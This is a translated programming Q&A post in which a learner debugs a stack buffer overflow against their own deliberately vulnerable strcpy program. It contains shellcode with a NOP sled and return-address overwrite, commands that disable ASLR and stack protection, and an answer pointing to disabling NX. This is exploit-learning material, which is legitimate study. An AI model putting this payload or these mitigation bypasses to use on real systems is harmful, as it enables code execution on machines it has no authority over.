2013-05-20 29 views
1

我正在看一個關於如何在Linux上執行緩衝區溢出的教程。一切都很好,直到我嘗試運行最後的東西。我在谷歌搜索和搜索,但沒有發現任何工作。緩衝區溢出應該工作,但給SIGSEGV錯誤

我的緩衝區溢出可開發C代碼(exploitable.c):

#include <string.h> 

int main(int argc, char** argv) 
{ 
    char buf[500]; 
    strcpy(buf, argv[1]); 
    return 0; 
} 

我怎麼編譯:

  1. 我刪除了va_space的隨機化(真的不知道它做什麼,但我知道它允許緩衝區溢出):echo 0 > /proc/sys/kernel/randomize_va_space
  2. 我使用這個命令編譯:gcc -fno-stack-protector -mpreferred-stack-boundary=2 -o exploitable exploitable.c
  3. 我跑它用gdb想通了,這個命令應該給我一個/bin/bash殼:

    ./exploitable $(ruby -e 'print "\x90" * 212 + "\xbb\xac\x02\x93\xb0\xda\xdb\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x0e\x31\x5a\x15\x83\xc2\x04\x03\x5a\x11\xe2\x59\x33" + "\x5a\x81\x7a\xc3\xbf\x52\xd8\xe1\xc0\xf9\x2b\xa2\x59\xaf" + "\x4d\x3a\x77\x33\x18\x5d\xef\x9c\x69\xca\xf0\x8a\xa2\x68" + "\x98\x24\x35\x8f\x08\x51\x4f\x50\xad\xa1\x60\x32\xc4\xcf" + "\x51\xd0\x77\x63\xc5\x14\x2f\xd0\x9c\xf4\x02\x56" + "\x90" * 210 + "\x44\xf1\xff\xbf"')

然而,這是行不通的。

在gdb中運行我發現$eip已被正確設置爲0xbffff144(我的第一輪中途)。出於某種原因,這給了我一個SIGSEGV錯誤:

My output from gdb after running the command above

我不知道我是否做錯了,或者還有一個故障安全我必須關閉。

回答

3

也許gcc選項(對於鏈接器)-z execstack禁用NX。

+0

人我笨...我怎麼能忘了!你知道有什麼方法可以在沒有NX的情況下完成這項工作,並且最好沒有任何其他編譯器的東西,因爲我不知道有許多人這樣編譯他們的C程序。 – carloabelli